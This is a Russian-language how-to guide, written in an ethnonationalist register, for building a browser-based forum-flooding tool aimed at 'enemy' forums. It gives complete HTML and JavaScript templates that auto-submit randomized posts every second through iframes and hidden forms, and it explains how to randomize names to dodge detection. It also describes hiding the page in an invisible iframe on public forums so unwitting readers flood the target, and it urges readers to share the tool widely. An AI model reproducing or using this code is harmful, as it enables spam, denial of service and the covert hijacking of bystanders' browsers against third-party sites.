Практическая скриптология:
|
Азъ) |
Определить цель и способ говнометания. Для этого необходимо просмотреть HTML-код страницы, с которой происходит публикация сообщений на вражеский форум. Делается это простым выбором пункта "Просмотр в виде HTML" (в английском варианте "View as HTML") в контекстном меню (вызываемом по нажатию правой кнопки мыши). После открытия HTML-исходника в нём необходимо найти описание формы, из которой отправляются данные на публикацию. Для этого осуществляется поиск ключевого слова form. Необходимо учесть, что в коде может быть несколько форм — найти следует именно ту, из которой посылаются данные на публикацию. После того, как описание формы найдено, следует посмотреть атрибуты action и method найденного тэга form. В первом записана цель говнометания, во втором — способ. |
Пример: пусть в исходном коде страницы, находящейся к примеру по адресу http://www.my-site.ru/survey.html, найдена такая запись:
<form method="get" action="post.html">
Тогда цель говнометания — файл post.html, который имеет тот же начальный URL, что и изучаемая страница (соответственно, полный адрес цели говнометания — http://www.my-site.ru/post.html), а способ говнометания — get.
Буки) |
Изучить параметры говнометания. Параметры описываются в дочерних тэгах input (и некоторых других — option, textarea) найденной формы. Например, пусть найдено следующее описание формы: |
<form method="get" action="post.html"> <input type="text" name="name"> <input type="text" name="place"> <textarea name="message"></textarea> </form>
В этом примере для публикации сообщения используются три параметра — name, place и message (значения атрибутов name или id соответствующих тэгов). Следовательно, файлу post.html необходимо передавать значения этих параметров, и они будут опубликованы. Если пользователь ввёл значения name="Пупкин", place="Земля" и message="Здравствуйте", то при публикации этих данных способом get произойдёт вызов адреса:
http://www.my-site.ru/post.html?name=Пупкин&place=Земля&message=Здравствуйте
При публикации способом post происходит несколько иная вещь — о ней рассказывается чуть позже.
Веди) |
Создать HTML-страницы, которые и будут говномётом. Для этого необходимо воспользоваться каким-либо простым редактором текста (например, Allaire Homesite). Если способ говнометания get, то необходимо создать одну HTML-страницу, если же способ говнометания post, то две HTML-страницы. Других способов говнометания не существует. Если в тэге формы метод явно не указан, то по умолчанию используется get. Кроме того, рекомендуется создать отдельный файл с кодом JavaScript для неоднократного использования случайных данных. В дальнейшем рассмотрении используются следующие названия созданных файлов: thrower.html, action.html и data.js. В первых двух содержится HTML-код говномёта, в последнем — случайные данные для говнометания. |
Проще всего рассмотреть файл data.js, что и делается здесь в первую очередь. Этот файл содержит случайный набор данных для говнометания, так скажем — снаряды. Если использовать одну и ту же последовательность символов, то она будет являться сигнатурой, по которой защита форума-мишени сможет определить последствия говнометания. Чтобы этого избежать и несколько больше испортить жизнь врагам, необходимо предусмотреть генераторы случайных данных. Конечно, можно было бы написать функцию для генерации строк случайной длины и со случайным содержимым, но такие строки будут сильно выделяться на фоне осмысленных сообщений от человеческих участников форума.
Итак, пример содержимого файла data.js для формы из примера выше (параметры для случайной генерации — имя пользователя и его местоположение):
//-------------------------------------------------- var nameArray = new Array (); nameArray[0] = "Василий Пупкин"; nameArray[1] = "Брат Василия Пупкина"; nameArray[2] = "Сестра Василия Пупкина"; nameArray[3] = "Матушка Василия Пупкина"; nameArray[4] = "Батюшка Василия Пупкина"; nameArray[5] = "Бабушка Василия Пупкина"; nameArray[6] = "Дедушка Василия Пупкина"; nameArray[7] = "Любимая собака Василия Пупкина"; var placeArray = new Array (); placeArray[0] = "Москва"; placeArray[1] = "Санкт Петербург"; //--------------------------------------------------
Первая строка описывает массив неопределённой длины, все последующий за ней строки кода — заполняют этот массив. Таким образом, в массиве nameArray содержится 8 элементов, а в массиве placeArray — 2 элемента. Количество данных в массивах может быть произвольным, главное, чтобы индексация массивов начиналась с нуля. Для говнометания можно предусмотреть возможность генерации осмысленных имён на русском языке — для этого необходимо использовать более сложные алгоритмы, но и результат будет менее предсказуемым. Тем не менее и такой способ является достаточно продуктивным.
В файл thrower.html необходимо вставить функцию для генерации случайных данных (в случае, если способ говнометания — get) и функцию для посылки пакета со снарядами. В случае, если способ говнометания post, в файл thrower.html необходимо вставить только функцию для посылки снарядов, а функцию для генерации случайного снаряда пишется в файле action.html. Кроме того в файл thrower.html необходимо вставить тэг iframe, атрибут src которого равен цели говнометания в случае способа get, и action.html в случае способа post. Далее показаны шаблоны обоих файлов...
Файл thrower.html:
<html>
<head>
<script src="data.js"></script>
<script>
var targetURL = "http://www.my-site.ru/post.html";
function getRandomData (strings)
{
return strings[Math.round (Math.random () * (strings.length — 1))];
}
function throwShit ()
{
var s = "";
s += "?name=";
s += getRandomData (nameArray);
s += "&place";
s += getRandomData (placeArray);
s += "&message=";
s += "Смерть оккупантам! Свободу Русскому народу!";
document.all["thrower"].src = targetURL + s;
}
function startThrowing ()
{
setInterval ("throwShit ()", 1000);
}
</script>
</head>
<body onload="startThrowing ()">
<iframe name="thrower" id="thrower" src=""></iframe>
</body>
</html>
Если способ говнометания post, то функции getRandomData и throwShit должны описываться в файле action.html, а функция startThrowing должна выглядеть следующим образом:
function startThrowing ()
{
setInterval ("document.all['thrower'].src = 'action.html'", 1000);
}
Файл action.html:
<html>
<head>
<script src="data.js"></script>
<script>
// Функция getRandomData такая же, как и в предыдущем примере.
function throwShit ()
{
document.all["name"].value = getRandomData (nameArray);
document.all["place"].value = getRandomData (placeArray);
document.all["message"].value = "Смерть оккупантам! Свободу Русскому народу!";
document.all["thrower"].submit ();
}
</script>
</head>
<body onload="throwShit ()">
<form name="thrower" id="thrower" method="post" action="http://www.my-site.ru/post.html">
<input type="hidden" name="name" id="name">
<input type="hidden" name="place" id="place">
<input type="hidden" name="message" id="message">
</form>
</body>
</html>
Следует иметь в виду, что это лишь примерные шаблоны файлов — в каждом конкретном случае необходимо подходить осмысленно и с некоторой долей искусства. Остаётся отметить, что число 1000, которое встречается в описании функции startThrowing — это частота метания снаряда по вражескому ресурсу в миллисекундах. Соответственно 1000 — это одна секунда. Следует учесть, что у некоторых пользвателей доступ к интернету медленный, поэтому в некоторых случаях должно увеличить это число, особенно в случае использования способа говнометания post.
Глаголь) |
Залить созданные файлы на какой-либо ресурс для обеспечения доступа к ним всех, кто изъявит желание использовать говномёт. В случае, если говномёт делался сугубо для собственных нужд, файлы можно оставить на жёстком диске. Однако при говнометании доступ в интернет должен быть открытым. После заливки опубликовать адрес говномёта (HTML-страницы thrower.html) на дружественных сайтах для достижения пущего эффекта. |
Добро) |
Подумать об анонимности процесса говнометания. Хотя самое страшное, что могут сделать вражины в этом случае, отправить говномётчика "в баню" — отключить ему доступ на свой сайт. Но сколько времени понадобится администраторам вражеского форума для его вычищения — больше, чем Гераклу для очистки Авгиевых конюшен. Особенно, если у такого администратора руки растут из одного места (а таковых не так уж и мало). Кроме того, файл thrower.html можно загружать в скрытый iframe на каком-нибудь публичном форуме, и чтец форума даже и подозревать не будет о том, что в этот момент он производит говнометание по вражескому ресурсу. Но это уже иная история. |
Есть) |
Прислать на адрес darkus.14@gmail.com свой вариант говномёта (все созданные файлы), предварительно запаковав их каким-нибудь архивом WinZip. Присланные файлы будут использоваться для создания общей базы данных для генерации случайных параметров. Вместе мы — Сила, по капельке соберётся море. |
И ещё: по адресу http://roman-dushkin.narod.ru/scripts/russian_names.js находится файл для генерации полноценных русских имён в формате "Имя Отчество Фамилия". На момент написания этого практического руководства в этом программном модуле собрано около сотни мужских и женских имён, а также более семисот фамилий — вкупе это даёт более трёх с половиной миллионов случайных вариантов русских имён. Чтобы использовать этот модуль, необходимо сделать его подключение в HTML-страницу говномёта:
<script src="http://roman-dushkin.narod.ru/scripts/russian_names.js"></script>
А в том месте, где требуется написать русское имя, осуществить вызов функции, например, так:
var randomName = getRandomRussianName ();
Таким образом, в переменную randomName будет записано случайное русское имя в указанном ранее формате, которое можно подставить в соответствующее поле. Успешного говнометания по вражеским форумам, Соратники...
Буде какой супостат, али иная нерусь, али космополитичная и общечеловеческая сволочь, али ещё какая вражина захочет употребить или употребит сие знание и готовые ресурсы супротив Рода Славянского, Рода Русского, так разразит того Перун, да и придёт к тому Мара в неурочный час. Слово моё крепко.
Писано на родной земле
Сухеня месяца 13 дня
в году 836 от падения Арконы
во Славу Родных Богов.
[· Наверх | Разные статьи | РАЗНОЕ ·]